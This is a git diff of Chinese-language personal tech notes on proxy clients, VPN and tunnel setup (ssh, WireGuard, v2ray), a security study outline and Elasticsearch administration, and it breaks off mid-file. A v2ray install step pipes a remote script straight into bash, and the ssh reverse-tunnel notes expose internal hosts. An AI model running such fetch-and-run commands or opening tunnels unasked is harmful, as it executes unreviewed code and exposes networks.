LIGHTZUOYOU - https://www.zuoyou.org.uk/ - 备用地址 https://vip.jltdd.com/ - mac: ClashX ## Clash商家 2 + - 商家 网站上直接付款 https://flower.yt/aff.php?aff=1690 - https://huacloud.dev/ - https://flower.yt/ - mac: ClashX Pro ## Clash商家 3 + - https://cn3.nfcloud.pro/user -- nfcloud.net +- nfcloud.net ## 各个商家地址 + - https://9.234456.xyz/abc.html -- https://www.duyaoss.com/ +- https://www.duyaoss.com/ # VPN -- https://bitbucket.org/letsgogo/letsgogo_21/src/master/ +- https://bitbucket.org/letsgogo/letsgogo_21/src/master/ diff --git a/secure/proxy/proxy_client.md b/secure/proxy/proxy_client.md index 96d864f..4cfc757 100644 --- a/secure/proxy/proxy_client.md +++ b/secure/proxy/proxy_client.md @@ -1,5 +1,11 @@ +--- +created_date: 2025-03-12 +--- + +[TOC] ### 环境变量方式 + ```conf # vi /etc/profile.d/proxy.conf # source /etc/profile.d/proxy.conf # 使配置文件立即生效 @@ -26,26 +32,29 @@ echo "proxy=http://127.0.0.1:8080/" >> /etc/yum.conf - 账号密码中有特殊符号,则需要转换 - 参考 http://ascii.911cha.com/ -| @ | 0x40 | -| ---- | ---- | -| : | 0x3A | -| ~ | 0x7E | -| # | 0x23 | -| $ | 0x24 | -| % | 0x25 | -| & | 0x26 | - + | @ | 0x40 | + | ---- | ---- | + | : | 0x3A | + | ~ | 0x7E | + | # | 0x23 | + | $ | 0x24 | + | % | 0x25 | + | & | 0x26 | ### Proxy SwitchyOmega + - Google游览器代理管理工具插件 ### tsocks + - 通过SOCKS4或SOCKS5代理提供透明的网络访问。 + ```bash apt install tsocks ``` -- vi /etc/tsocks.conf +- vi /etc/tsocks.conf + ```conf local = 192.168.1.0/255.255.255.0 #不使用socks代理的网络 local = 127.0.0.0/255.0.0.0 #不使用socks代理的网络 @@ -66,15 +75,19 @@ PROXYCHAINS_SOCKS5=127.0.0.1:7890 proxychains ${command} PROXYCHAINS_SOCKS5_HOST=127.0.0.1 PROXYCHAINS_SOCKS5_PORT=4321 proxychains zsh ``` + - /etc/proxychains4.conf ### clash生态 + 1. 内核 https://github.com/MetaCubeX/mihomo 2. Clah(Windows/Linux) https://github.com/Dreamacro/clash 原开发者下架了 -3. ClashX(Mac) https://github.com/yichengchen/clashX 原开发者下架了 -4. ClashVerg(Windows/Mac) https://github.com/clash-verge-rev/clash-verge-rev +3. ClashX(Mac) https://github.com/yichengchen/clashX 原开发者下架了 +4. ClashVerg(Windows/Mac) https://github.com/clash-verge-rev/clash-verge-rev +5. v2rayNG(Android) https://github.com/2dust/v2rayNG ### 其它 + 1. Shadowrocket https://shadowsocks.org 2. V2ray https://v2ray.com 3. Surge diff --git a/secure/proxy/proxy_protocal.md b/secure/proxy/proxy_protocal.md index 40086cb..9e53b8b 100644 --- a/secure/proxy/proxy_protocal.md +++ b/secure/proxy/proxy_protocal.md @@ -1,13 +1,20 @@ +--- +created_date: 2025-03-12 +--- + +[TOC] + ## 代理协议 -1. VMess -2. VLESS -3. Trojan https://github.com/trojan-gfw/trojan -4. Shadowsocks (SS) -5. ShadowsocksR (SSR) -6. HTTP/2 -7. gRPC -8. WireGuard -9. OpenVPN -10. Hysteria + +01. VMess +02. VLESS +03. Trojan https://github.com/trojan-gfw/trojan +04. Shadowsocks (SS) +05. ShadowsocksR (SSR) +06. HTTP/2 +07. gRPC +08. WireGuard +09. OpenVPN +10. Hysteria 11. TUIC -12. Socks5 \ No newline at end of file +12. Socks5 diff --git a/secure/proxy/proxy_tunnel.md b/secure/proxy/proxy_tunnel.md index de91aed..ddb31d5 100644 --- a/secure/proxy/proxy_tunnel.md +++ b/secure/proxy/proxy_tunnel.md @@ -1,10 +1,19 @@ +--- +created_date: 2025-03-12 +--- + [TOC] + # 代理 + ## 服务端代理 + ### Dante + 1. 教程参考 https://blog.csdn.net/qq_41123867/article/details/125667554 ### squid 正向代理软件 + ```bash # 安装 yum install squid @@ -18,6 +27,7 @@ http_access allow all # 允许的 访问控制规则,all是允许所有IP访 ``` ### goproxy + - 源码 https://github.com/snail007/goproxy ```bash @@ -32,35 +42,39 @@ iptables -I INPUT -s ${IP} -p tcp --dport 38080 -j ACCEPT ``` ### ssh + - 参考 https://www.cnblogs.com/zhugq02/p/16938074.html 1. 正向代理(-L):相当于 iptable 的 port forwarding - - 远程端口映射到其他机器。HostB 上启动一个 PortB 端口,映射到 HostC:PortC 上,在 HostB 上运行: ``ssh -L 0.0.0.0:PortB:HostC:PortC user@HostC`` - - 本地端口通过跳板映射到其他机器。HostA 上启动一个 PortA 端口,通过 HostB 转发到 HostC:PortC上,在 HostA 上运行: ``ssh -L 0.0.0.0:PortA:HostC:PortC user@HostB`` + - 远程端口映射到其他机器。HostB 上启动一个 PortB 端口,映射到 HostC:PortC 上,在 HostB 上运行: `ssh -L 0.0.0.0:PortB:HostC:PortC user@HostC` + - 本地端口通过跳板映射到其他机器。HostA 上启动一个 PortA 端口,通过 HostB 转发到 HostC:PortC上,在 HostA 上运行: `ssh -L 0.0.0.0:PortA:HostC:PortC user@HostB` 2. 反向代理(-R):相当于 frp 或者 ngrok - - HostA 将自己可以访问的 HostB:PortB 暴露给外网服务器 HostC:PortC,在 HostA 上运行:``ssh -R HostC:PortC:HostB:PortB user@HostC`` - - 使用时需修改 HostC 的 /etc/ssh/sshd_config,添加: GatewayPorts yes - - 相当于内网穿透. + - HostA 将自己可以访问的 HostB:PortB 暴露给外网服务器 HostC:PortC,在 HostA 上运行:`ssh -R HostC:PortC:HostB:PortB user@HostC` + - 使用时需修改 HostC 的 /etc/ssh/sshd_config,添加: GatewayPorts yes + - 相当于内网穿透. 3. socks5 代理(-D):相当于 ss/ssr - - 在 HostA 的本地 1080 端口启动一个 socks5 服务,通过本地 socks5 代理的数据会通过 ssh 链接先发送给 HostB,再从 HostB 转发送给远程主机:``ssh -D localhost:1080 user@HostB`` - - 优化 ``ssh -CqTnN -L 0.0.0.0:PortA:HostC:PortC user@HostB`` - - 其中 -C 为压缩数据,-q 安静模式,-T 禁止远程分配终端,-n 关闭标准输入,-N 不执行远程命令。此外视需要还可以增加 -f 参数,把 ssh 放到后台运行。 + - 在 HostA 的本地 1080 端口启动一个 socks5 服务,通过本地 socks5 代理的数据会通过 ssh 链接先发送给 HostB,再从 HostB 转发送给远程主机:`ssh -D localhost:1080 user@HostB` + - 优化 `ssh -CqTnN -L 0.0.0.0:PortA:HostC:PortC user@HostB` + - 其中 -C 为压缩数据,-q 安静模式,-T 禁止远程分配终端,-n 关闭标准输入,-N 不执行远程命令。此外视需要还可以增加 -f 参数,把 ssh 放到后台运行。 # 隧道 - - ## UDPspeeder + - 源码 https://github.com/wangyu-/UDPspeeder - + ## Udp2raw-Tunnel + - 参考 https://www.freebuf.com/sectool/187069.html - 源码 https://github.com/wangyu-/udp2raw + - 定义 Udp2raw-Tunnel是一款功能强大的UDP隧道工具 ## WireGuard + ### 服务端 + ```bash apt update apt install wireguard @@ -97,6 +111,7 @@ wg set wg0 peer ${CLIENT_PUBLIC_KEY} allowed-ips 10.0.0.2 ``` - wg0.conf 文件配置 + ```conf [Interface] Address = 10.0.0.1/24 @@ -106,7 +121,9 @@ PrivateKey = ${SERVER_PRIVATE_KEY} PostUp = iptables -A FORWARD -i %i -j ACCEPT #iptables -t nat -A POSTROUTING -o ${network_interface} -j MASQUERADE PostDown = iptables -D FORWARD -i %i -j ACCEPT #iptables -t nat -D POSTROUTING -o ${network_interface} -j MASQUERADE ``` + ### 客户端 + ```bash # 生成私钥和公钥 wg genkey > /etc/wireguard/privatekey @@ -121,6 +138,7 @@ wg-quick down wg0 ``` - /etc/wireguard/wg0.conf + ```conf [Interface] PrivateKey = CLIENT_PRIVATE_KEY # 客户端生成的私钥 @@ -144,4 +162,5 @@ PublicKey = PTICNQReN7IEIMfB1/lWq1LwGSt4OLEM1LjfDtQPqwY= Endpoint = 173.82.143.63:51820 AllowedIPs = 0.0.0.0/0 ``` -wg set wg0 peer zn5kjX/0XqFMMaDDnIKhnPAbhG7bAdUY6tsSQvwQLhk= allowed-ips 10.0.0.2 \ No newline at end of file + +wg set wg0 peer zn5kjX/0XqFMMaDDnIKhnPAbhG7bAdUY6tsSQvwQLhk= allowed-ips 10.0.0.2 diff --git a/secure/proxy/shadowsocks.md b/secure/proxy/shadowsocks.md index 2534831..20b802f 100644 --- a/secure/proxy/shadowsocks.md +++ b/secure/proxy/shadowsocks.md @@ -1,3 +1,10 @@ +--- +created_date: 2025-03-12 +--- + +[TOC] + ## shadowsocks -- 参考 - - http://ivo-wang.github.io/2018/02/24/ss-redir/ \ No newline at end of file + +- 参考 + - http://ivo-wang.github.io/2018/02/24/ss-redir/ diff --git a/secure/proxy/v2ray.md b/secure/proxy/v2ray.md index d7a5e24..d25b9ce 100644 --- a/secure/proxy/v2ray.md +++ b/secure/proxy/v2ray.md @@ -1,30 +1,44 @@ +--- +created_date: 2025-03-12 +--- + +[TOC] + ## v2ray + ### 安装 + - 源码 https://github.com/v2fly/v2ray-core + - 教程 https://www.v2fly.org/guide/start.html + - 安装 https://www.v2fly.org/guide/install.html - 脚本安装 `bash <(curl -L https://raw.githubusercontent.com/v2fly/fhs-install-v2ray/master/install-release.sh)` - - 启动 `systemctl start v2ray` - - 安装好的官方v2ray-core文件路径如下 - ```txt - installed: /usr/local/bin/v2ray - installed: /usr/local/bin/v2ctl - installed: /usr/local/share/v2ray/geoip.dat - installed: /usr/local/share/v2ray/geosite.dat - installed: /usr/local/etc/v2ray/config.json - installed: /var/log/v2ray/ - installed: /var/log/v2ray/access.log - installed: /var/log/v2ray/error.log - installed: /etc/systemd/system/v2ray.service - installed: /etc/systemd/system/v2ray@.service - ``` + + - 启动 `systemctl start v2ray` + - 安装好的官方v2ray-core文件路径如下 + ```txt + installed: /usr/local/bin/v2ray + installed: /usr/local/bin/v2ctl + installed: /usr/local/share/v2ray/geoip.dat + installed: /usr/local/share/v2ray/geosite.dat + installed: /usr/local/etc/v2ray/config.json + installed: /var/log/v2ray/ + installed: /var/log/v2ray/access.log + installed: /var/log/v2ray/error.log + installed: /etc/systemd/system/v2ray.service + installed: /etc/systemd/system/v2ray@.service + ``` - 生成UUID `./v2ray uuid` + - 验证配置文件的正确性 `/usr/local/bin/v2ray test -config /usr/local/etc/v2ray/config.json` + - 启动 `./v2ray run -config ./config.json` ### 服务端配置 + ```json { "inbounds": [ @@ -49,6 +63,7 @@ ``` ### 客户端配置 + ```json { "inbounds": [ @@ -99,7 +114,9 @@ ``` ## v2gen + - 通过订阅模式配置v2ray + ```bash #下载v2gen wget https://github.com/iochen/v2gen/releases/latest/download/v2gen_amd64_linux @@ -115,5 +132,6 @@ v2gen -u "订阅url" -o /usr/local/etc/v2ray/config.json ``` ## v2rayA -- v2ray的GUI管理界面 + +- v2ray的GUI管理界面 - 源码 https://github.com/v2rayA/v2rayA diff --git a/secure/secure.md b/secure/secure.md index a507028..72e174b 100644 --- a/secure/secure.md +++ b/secure/secure.md @@ -1,68 +1,81 @@ +--- +created_date: 2022-04-07 +--- + +[TOC] + # 知识大纲 + ## 基础 + 1. 计算机网络基础 - 1. 网络协议(TCP/IP、HTTP/HTTPS、DNS等) - 2. 局域网与广域网 - 3. 网络拓扑结构 - 4. OSI七层模型 - 5. 防火墙、路由器、交换机、网关 + 1. 网络协议(TCP/IP、HTTP/HTTPS、DNS等) + 2. 局域网与广域网 + 3. 网络拓扑结构 + 4. OSI七层模型 + 5. 防火墙、路由器、交换机、网关 2. 操作系统基础 - 1. Linux与Windows操作系统的基础 - 2. 系统权限、文件权限 - 3. 常见命令行工具(Linux:bash、Windows:PowerShell) - 4. 系统日志与监控 + 1. Linux与Windows操作系统的基础 + 2. 系统权限、文件权限 + 3. 常见命令行工具(Linux:bash、Windows:PowerShell) + 4. 系统日志与监控 3. 编程基础 - 1. Python、C、C++或Shell脚本(尤其是Python) - 2. Web开发基础(HTML、JavaScript、CSS) - 3. SQL基础 + 1. Python、C、C++或Shell脚本(尤其是Python) + 2. Web开发基础(HTML、JavaScript、CSS) + 3. SQL基础 4. 网络安全基础 - 1. 信息安全的基本概念(机密性、完整性、可用性) - 2. 常见的攻击类型(DDoS、MITM、Phishing、RAT等) - 3. 防御机制(加密、认证、访问控制等) + 1. 信息安全的基本概念(机密性、完整性、可用性) + 2. 常见的攻击类型(DDoS、MITM、Phishing、RAT等) + 3. 防御机制(加密、认证、访问控制等) + ## 进阶阶段 + 1. Web应用安全 - 1. OWASP Top 10(SQL注入、XSS、CSRF、文件上传漏洞等) - 2. Web漏洞扫描与渗透测试 - 3. Web安全工具:Burp Suite、OWASP ZAP、Nikto等 - 4. 网站爬虫与数据泄露测试 + 1. OWASP Top 10(SQL注入、XSS、CSRF、文件上传漏洞等) + 2. Web漏洞扫描与渗透测试 + 3. Web安全工具:Burp Suite、OWASP ZAP、Nikto等 + 4. 网站爬虫与数据泄露测试 2. 网络渗透测试 - 1. 信息收集(Whois查询、DNS查询、Google Hacking等) - 2. 漏洞扫描与利用(Nmap、Nessus、OpenVAS等) - 3. 远程漏洞利用(Metasploit) - 4. 权限提升(Sudo、SUID等漏洞) - 5. 后门植入与隐蔽技术 + 1. 信息收集(Whois查询、DNS查询、Google Hacking等) + 2. 漏洞扫描与利用(Nmap、Nessus、OpenVAS等) + 3. 远程漏洞利用(Metasploit) + 4. 权限提升(Sudo、SUID等漏洞) + 5. 后门植入与隐蔽技术 3. 无线网络安全 - 1. 无线网络协议(WEP、WPA、WPA2、WPA3) - 2. 无线网络破解(空气嗅探、数据包注入等) - 3. 常见工具(Aircrack-ng、Kismet、Reaver等) + 1. 无线网络协议(WEP、WPA、WPA2、WPA3) + 2. 无线网络破解(空气嗅探、数据包注入等) + 3. 常见工具(Aircrack-ng、Kismet、Reaver等) 4. 密码学基础 - 1. 对称加密与非对称加密(AES、RSA等) - 2. 哈希算法与数字签名 - 3. SSL/TLS协议、HTTPS - 4. 密码破解与暴力破解 + 1. 对称加密与非对称加密(AES、RSA等) + 2. 哈希算法与数字签名 + 3. SSL/TLS协议、HTTPS + 4. 密码破解与暴力破解 + ## 高级阶段 + 1. 高级渗透测试 - 1. 社会工程学攻击(钓鱼、假冒、欺诈等) - 2. 复杂的漏洞利用技巧(堆溢出、格式化字符串等) - 3. 提权技术与横向移动 - 4. 持久化与清除痕迹 - 5. 反渗透与绕过防火墙 + 1. 社会工程学攻击(钓鱼、假冒、欺诈等) + 2. 复杂的漏洞利用技巧(堆溢出、格式化字符串等) + 3. 提权技术与横向移动 + 4. 持久化与清除痕迹 + 5. 反渗透与绕过防火墙 2. 红队与蓝队 - 1. 红队攻击模拟(模拟真实攻击、渗透测试) - 2. 蓝队防守策略(IDS、IPS、防火墙规则) - 3. 蓝队工具(Suricata、Snort、OSSEC等) - 4. APT攻击与防御 - 5. 日志分析与入侵检测 + 1. 红队攻击模拟(模拟真实攻击、渗透测试) + 2. 蓝队防守策略(IDS、IPS、防火墙规则) + 3. 蓝队工具(Suricata、Snort、OSSEC等) + 4. APT攻击与防御 + 5. 日志分析与入侵检测 3. 高级网络安全技术 - 1. 网络协议分析与逆向工程(Wireshark、Tcpdump) - 2. 安全信息与事件管理(SIEM) - 3. 网络攻击与防御技术(DDoS防御、流量分析等) - 4. 零日漏洞利用与修补 + 1. 网络协议分析与逆向工程(Wireshark、Tcpdump) + 2. 安全信息与事件管理(SIEM) + 3. 网络攻击与防御技术(DDoS防御、流量分析等) + 4. 零日漏洞利用与修补 4. 攻防对抗实战 - 1. Capture the Flag (CTF)比赛 - 2. 渗透测试报告撰写 - 3. 渗透测试工具的定制与开发 + 1. Capture the Flag (CTF)比赛 + 2. 渗透测试报告撰写 + 3. 渗透测试工具的定制与开发 # 名词 + - MFA (Multi-factor authentication)多因子认证 -- OTP (One-time Password)一次性密码 \ No newline at end of file +- OTP (One-time Password)一次性密码 diff --git a/secure/secure_tool.md b/secure/secure_tool.md index bbe3e75..37e97fb 100644 --- a/secure/secure_tool.md +++ b/secure/secure_tool.md @@ -1,14 +1,21 @@ +--- +created_date: 2022-10-20 +--- + +[TOC] + ## 网站 -- httrack网站克隆工具 http://httrack.kauler.com/help/Form-based_authentication -- 端口扫描等网络服务 https://www.whatismyip.com/port-scanner/ +- httrack网站克隆工具 http://httrack.kauler.com/help/Form-based_authentication +- 端口扫描等网络服务 https://www.whatismyip.com/port-scanner/ ## winbox + - https://www.winbox.org/download/mac - mac 版本 https://github.com/nrlquaker/winbox-mac - Winbox是一个小型实用程序,允许使用快速简单的GUI管理 MikroTik RouterOS。 - 中文简单教程 http://www.irouteros.com/?p=730 - ## 信息收集 -1. IP 信息查询 https://ipcheck.ing/ \ No newline at end of file + +1. IP 信息查询 https://ipcheck.ing/ diff --git a/software/ELK/ELK.md b/software/ELK/ELK.md index a0ad0ca..b22664a 100644 --- a/software/ELK/ELK.md +++ b/software/ELK/ELK.md @@ -1,3 +1,9 @@ -k8s容器daemonset模式Filebeat -> Kafka -> Logstash -> Elasticsearch -> Kibana +--- +created_date: 2020-11-16 +--- + +[TOC] + +k8s容器daemonset模式Filebeat -> Kafka -> Logstash -> Elasticsearch -> Kibana Kafka 依赖 Zookeeper diff --git a/software/ELK/elasticsearch.md b/software/ELK/elasticsearch.md index 7dfc4c7..558f920 100644 --- a/software/ELK/elasticsearch.md +++ b/software/ELK/elasticsearch.md @@ -1,99 +1,125 @@ +--- +created_date: 2020-11-24 +--- + +[TOC] + ## 概览 + - 参考 - - https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-index_.html 官方文档 - - https://www.cnblogs.com/wyq178/p/11968529.html ElasticSearch的API使用 - - https://www.cnblogs.com/kevingrace/p/10671063.html 常见错误 + - https://www.elastic.co/guide/en/elasticsearch/reference/current/docs-index\_.html 官方文档 + - https://www.cnblogs.com/wyq178/p/11968529.html ElasticSearch的API使用 + - https://www.cnblogs.com/kevingrace/p/10671063.html 常见错误 ## 安装 + - 参考 - - https://www.elastic.co/cn/downloads/past-releases#elasticsearch + - https://www.elastic.co/cn/downloads/past-releases#elasticsearch 1. 安装java1.8环境 + 2. 下载安装elasticsearch - ```bash - useradd elk; - wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.9.3-linux-x86_64.tar.gz + ```bash + useradd elk; + + wget https://artifacts.elastic.co/downloads/elasticsearch/elasticsearch-7.9.3-linux-x86_64.tar.gz - # [1]: max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144] - echo 'vm.max_map_count=262144' >> /etc/sysctl.conf - /sbin/sysctl -p - ``` + # [1]: max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144] + echo 'vm.max_map_count=262144' >> /etc/sysctl.conf + /sbin/sysctl -p + ``` 3. 配置文件 - - vi config/elasticsearch.yml - ```conf - node.name: elasticsearch_master_1 # node名字 - http.port: 9200 - transport.tcp.port: 9300 # 节点间相互通信的端口号 - - # cluster.name: elasticsearch_prod # 集群名字,不设置则为elasticsearch - cluster.max_shards_per_node: 3000 # 配置每个节点最大的分片数量,默认为1000 - - cluster.initial_master_nodes: ["Master_Name_1","Master_Name_2"] # 填写集群每个master节点的node.name # 启动全新的集群时需要此参数 - discovery.seed_hosts: ["Master_IP_1:9300","Master_IP_2:9300","Master_IP_3:9300"] # 填写集群master节点的IP端口号 - network.host: 0.0.0.0 # 默认只有本机才能访问 - - http.max_content_length: 100mb # 设置内容的最大容量,默认为100mb - ``` - - jvm.options - ```conf - # 设置堆内存为机器内存的一半 # 6.2.x ES_JAVA_OPTS="-Xms15g -Xmx15g" ./bin/elasticsearch - # es内核使用lucene,lucene本身单独占用不少的内存。官方建议设置es内存,大小为物理内存的一半,剩下的一半留给lucene。 - # es使用堆外缓冲区来实现高效的网络通信 - -Xms15g - -Xmx15g - ``` + + - vi config/elasticsearch.yml + + ```conf + node.name: elasticsearch_master_1 # node名字 + http.port: 9200 + transport.tcp.port: 9300 # 节点间相互通信的端口号 + + # cluster.name: elasticsearch_prod # 集群名字,不设置则为elasticsearch + cluster.max_shards_per_node: 3000 # 配置每个节点最大的分片数量,默认为1000 + + cluster.initial_master_nodes: ["Master_Name_1","Master_Name_2"] # 填写集群每个master节点的node.name # 启动全新的集群时需要此参数 + discovery.seed_hosts: ["Master_IP_1:9300","Master_IP_2:9300","Master_IP_3:9300"] # 填写集群master节点的IP端口号 + network.host: 0.0.0.0 # 默认只有本机才能访问 + + http.max_content_length: 100mb # 设置内容的最大容量,默认为100mb + ``` + + - jvm.options + + ```conf + # 设置堆内存为机器内存的一半 # 6.2.x ES_JAVA_OPTS="-Xms15g -Xmx15g" ./bin/elasticsearch + # es内核使用lucene,lucene本身单独占用不少的内存。官方建议设置es内存,大小为物理内存的一半,剩下的一半留给lucene。 + # es使用堆外缓冲区来实现高效的网络通信 + -Xms15g + -Xmx15g + ``` + 4. 启动 nohup ./bin/elasticsearch 2>&1 & -5. 访问 http://localhost:9200/ +5. 访问 http://localhost:9200/ ## 机制 + ### 节点角色 + - 一个节点可以充当一个或多个角色,默认四个角色都有。 -1. Master - - 主节点:存储节点状态和元数据信息 - - 配置 普通服务器即可(CPU 内存 消耗一般) -2. Data Node - - 主要消耗磁盘,内存 -3. Coordinating Node - - 协调节点:一个节点作为接收请求、转发请求到其他节点、汇总各个节点返回数据等功能的节点。就叫协调节点。 -4. Ingest Node/Client Node - - 在数据被索引之前,通过预定义好的处理管道对数据进行预处理(如果要进行分组聚合操作的话,建议这个节点内存也分配多一点) + +1. Master + - 主节点:存储节点状态和元数据信息 + - 配置 普通服务器即可(CPU 内存 消耗一般) +2. Data Node + - 主要消耗磁盘,内存 +3. Coordinating Node + - 协调节点:一个节点作为接收请求、转发请求到其他节点、汇总各个节点返回数据等功能的节点。就叫协调节点。 +4. Ingest Node/Client Node + - 在数据被索引之前,通过预定义好的处理管道对数据进行预处理(如果要进行分组聚合操作的话,建议这个节点内存也分配多一点) ### 术语 + 1. Index 类似于数据库的概念。索引的名字只能是小写,不能是大写。 - - Type 是Index里分组的概念。 在7.4.2版本中已经去除了Index里type的概念。6.0的版本不允许一个Index下面有多个Type。 - - Mapping 类似于mysql中表结构, properties类似于mysql表中的字段概念。 es的mapping创建之后无法修改,如果需要修改则需要重新建立index,然后reindex迁移数据。 + + - Type 是Index里分组的概念。 在7.4.2版本中已经去除了Index里type的概念。6.0的版本不允许一个Index下面有多个Type。 + - Mapping 类似于mysql中表结构, properties类似于mysql表中的字段概念。 es的mapping创建之后无法修改,如果需要修改则需要重新建立index,然后reindex迁移数据。 2. invertedindex 逆向索引 - - es维护一个逆向索引的表,表内包含了所有文档中出现的所有单词,同时记录了这个单词在哪个文档中出现过。 - - lucene将一个大的逆向索引拆分成了多个小的段segment - - 客户端每次进行搜索时都会通过逆向索引的表来提取 Index里的document。 + + - es维护一个逆向索引的表,表内包含了所有文档中出现的所有单词,同时记录了这个单词在哪个文档中出现过。 + - lucene将一个大的逆向索引拆分成了多个小的段segment + - 客户端每次进行搜索时都会通过逆向索引的表来提取 Index里的document。 + ### Shard + - 分片 - 1. 分片是 Elasticsearch 在集群中分发数据的关键. - 2. 分片是装载数据的容器。文档存储在分片中,然后分片分配到集群中的节点上。当集群扩容或缩小,Elasticsearch 将会自动在节点间迁移分片,以使集群保持平衡。 - 3. 一个分片是一个最小级别“工作单元(worker unit)”,它只是保存了索引中所有数据的一部分。 - 4. 分片类似于 MySql 的分库分表,只不过 Mysql 分库分表需要借助第三方组件而 ES 内部自身实现了此功能。 - 5. 分片可以是主分片(primary shard)或者是副本分片(replica shard)。 - 6. Version 7+ 默认创建1000个分片。 + 1. 分片是 Elasticsearch 在集群中分发数据的关键. + 2. 分片是装载数据的容器。文档存储在分片中,然后分片分配到集群中的节点上。当集群扩容或缩小,Elasticsearch 将会自动在节点间迁移分片,以使集群保持平衡。 + 3. 一个分片是一个最小级别“工作单元(worker unit)”,它只是保存了索引中所有数据的一部分。 + 4. 分片类似于 MySql 的分库分表,只不过 Mysql 分库分表需要借助第三方组件而 ES 内部自身实现了此功能。 + 5. 分片可以是主分片(primary shard)或者是副本分片(replica shard)。 + 6. Version 7+ 默认创建1000个分片。 - 分片的配置 - - 参考 - - https://www.elastic.co/cn/blog/how-many-shards-should-i-have-in-my-elasticsearch-cluster - - 分片过小会导致段过小,进而致使开销增加。尽量将分片的平均大小控制在至少几 GB 到几十 GB 之间。对时序型数据用例而言,分片大小通常介于 20GB 至 40GB 之间。 - + - 参考 + - https://www.elastic.co/cn/blog/how-many-shards-should-i-have-in-my-elasticsearch-cluster + - 分片过小会导致段过小,进而致使开销增加。尽量将分片的平均大小控制在至少几 GB 到几十 GB 之间。对时序型数据用例而言,分片大小通常介于 20GB 至 40GB 之间。 ### 索引的主分片数和主分片的副本数 -1. number_of_shards - - 每个索引的主分片数,默认值是 5 。这个配置在索引创建后不能修改。 -2. number_of_replicas - - 每个主分片的副本数,默认值是 1 。对于活动的索引库,这个配置可以随时修改。 +1. number_of_shards + + - 每个索引的主分片数,默认值是 5 。这个配置在索引创建后不能修改。 + +2. number_of_replicas + + - 每个主分片的副本数,默认值是 1 。对于活动的索引库,这个配置可以随时修改。 3. 设置 - - number_of_shards 和 number_of_replicas 都是index级别的设置。 - - 如果打算每个新建的index都设置副本数为0,可以通过index template 来设置。 + + - number_of_shards 和 number_of_replicas 都是index级别的设置。 + - 如果打算每个新建的index都设置副本数为0,可以通过index template 来设置。 ### ES写入数据时的步骤 @@ -106,6 +132,7 @@ 4. 默认每隔30分钟或translog过大时,ES会将当前内存中所有的index segment标记并形成一个commit point(类似git 的commit id),进行原子性的持久化操作,操作完毕后,删除本次已经已经了持久化的index segment,腾出内存空间。 ### ES搜索数据时的步骤 + 1. Coordinate节点接受请求,将请求转达到分片所在的数据节点 2. 数据节点执行查询和排序,将结果返回给Coordinate节点 @@ -115,6 +142,7 @@ 4. Coordinate节点将数据返回给客户端 - 查询结果解读 + ```json { "took":3, 查询所用的毫秒数 @@ -150,18 +178,20 @@ } ``` - ## API -- 参考 - - https://www.elastic.co/guide/cn/elasticsearch/guide/current/_cat_api.html +- 参考 + + - https://www.elastic.co/guide/cn/elasticsearch/guide/current/\_cat_api.html - 在HTTP的method中 -1. PUT 代表具有幂等性操作(多次执行都能得到同样的结果)。 + +1. PUT 代表具有幂等性操作(多次执行都能得到同样的结果)。 2. POST 是非幂等,在资源创建时候,执行多次会产生不同的结果。 3. 在ES中,PUT具有幂等性,使用PUT需要在当前操作索引下指定一个文档ID, 当文档ID不存在时,会进行创建一个文档,如果存在的话,则进行更新。 ### 集群管理 + ```bash IP=127.0.0.1 PORT=9200 @@ -201,7 +231,9 @@ curl -s /dev/null -XGET "http://${IP}:${PORT}/_nodes/stats/indices/fielddata?fie curl -s /dev/null -XGET "http://${IP}:${PORT}/_nodes/stats/indices/fielddata?level=indices&fields=*&pretty" ``` + ### 设置 + ```bash # 临时改变集群分片的数量 curl -XPUT -H "Content-Type: application/json" -d '{"transient":{"cluster":{"max_shards_per_node":2000}}}' "http://${IP}:${PORT}/_cluster/settings" @@ -213,7 +245,9 @@ curl -XPUT "Content-Type: application/json" -d '{ "number_of_replicas" : 0 }' " # indices.fielddata.cache.size: 20% # 设置单个索引占用缓存的大小,如果超出这个值,该数据将被逐出,默认值为unbounded无限 ``` + ### 常规操作 + ```bash # 查看当前节点的所有 Index curl -X GET "http://${IP}:${PORT}/_cat/indices?v" @@ -284,7 +318,9 @@ curl -H "Content-Type: application/json" "${IP}:${PORT}/${index}/_search?from=0& # size 显示多少条数据 ``` + 查询status字段为400到499的document数量 + ```json { "size": 0, @@ -331,59 +367,60 @@ curl -H "Content-Type: application/json" "${IP}:${PORT}/${index}/_search?from=0& ``` ## 常见错误 + 1. message字段太大,超出了字符偏移量上限 - - 报错 - ```log - The length of [message] field of [pAuVMXYBWMKQqimE8lSp] doc of [filebeat-7.6.0-2020.12.05] index has exceeded [1000000] - maximum allowed to be analyzed for highlighting. This maximum can be set by changing the [index.highlight.max_analyzed_offset] index level setting. For large texts, indexing with offsets or term vectors is recommended!" - type: "illegal_argument_exception - - ``` - - 在kibana的Dev Tool内修改 - ``` - PUT /索引名*/_settings - { - "index" : { - "highlight.max_analyzed_offset" : 2000000 - } - } - ``` - - 通过elasticsearch的API进行修改 - ```bash - index=aaa - curl -XPUT "127.0.0.1:9200/${index}/_settings" -H 'Content-Type: application/json' -d '{ - "index" : { - "highlight.max_analyzed_offset" : 3000000 - } - }' - ``` + - 报错 + ```log + The length of [message] field of [pAuVMXYBWMKQqimE8lSp] doc of [filebeat-7.6.0-2020.12.05] index has exceeded [1000000] - maximum allowed to be analyzed for highlighting. This maximum can be set by changing the [index.highlight.max_analyzed_offset] index level setting. For large texts, indexing with offsets or term vectors is recommended!" + type: "illegal_argument_exception + + ``` + - 在kibana的Dev Tool内修改 + ``` + PUT /索引名*/_settings + { + "index" : { + "highlight.max_analyzed_offset" : 2000000 + } + } + ``` + - 通过elasticsearch的API进行修改 + ```bash + index=aaa + curl -XPUT "127.0.0.1:9200/${index}/_settings" -H 'Content-Type: application/json' -d '{ + "index" : { + "highlight.max_analyzed_offset" : 3000000 + } + }' + ``` 2. 分配给ES的堆内存不够用了 - - 报错 - ```log - curl http://${IP}:${PORT}/_cat/shards/?pretty - { - "error" : { - "root_cause" : [ - { - "type" : "circuit_breaking_exception", - "reason" : "[parent] Data too large, data for [] would be [4080692272/3.8gb], which is larger than the limit of [4080218931/3.7gb], real usage: [4080692272/3.8gb], new bytes reserved: [0/0b], usages [request=0/0b, fielddata=0/0b, in_flight_requests=0/0b, accounting=82023656/78.2mb]", - "bytes_wanted" : 4080692272, - "bytes_limit" : 4080218931, - "durability" : "PERMANENT" - } - ], - "type" : "circuit_breaking_exception", - 